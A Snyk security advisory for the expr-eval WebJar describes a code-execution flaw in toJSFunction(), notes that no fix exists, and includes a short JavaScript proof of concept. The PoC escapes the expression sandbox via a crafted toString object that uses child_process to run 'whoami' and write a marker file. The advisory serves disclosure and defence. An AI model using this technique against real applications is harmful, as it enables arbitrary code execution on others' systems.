Code Execution Affecting org.webjars.npm:expr-eval package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.5% (40th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-17662018
  • published7 Jul 2026
  • disclosed20 Jan 2026
  • creditDinh Twan Doan

Introduced: 20 Jan 2026

CVE-2026-12866  (opens in a new tab)
CWE-1321  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.npm:expr-eval.

Overview

org.webjars.npm:expr-eval is a WebJar for expr-eval

Affected versions of this package are vulnerable to Code Execution via the toJSFunction() API. An attacker can execute arbitrary JavaScript by supplying crafted expressions that are compiled into native code using new Function(). Because user-controlled expressions are transformed directly into executable JavaScript, attackers can escape the intended expression sandbox and run arbitrary code within the application's context.

PoC

js

const { Parser } = require('expr-eval');

const parser = new Parser(); const expr = parser.parse('[cmd]');

const payload = { toString: () => (function(){ const fs = process.mainModule.require('fs'); const cp = process.mainModule.require('child_process'); fs.writeFileSync('expr-eval-poc.txt', 'PWNED'); return cp.execSync('whoami').toString().trim(); })() };

const fn = expr.toJSFunction('', { cmd: payload }); console.log(fn());

CVSS Base Scores

version 4.0
version 3.1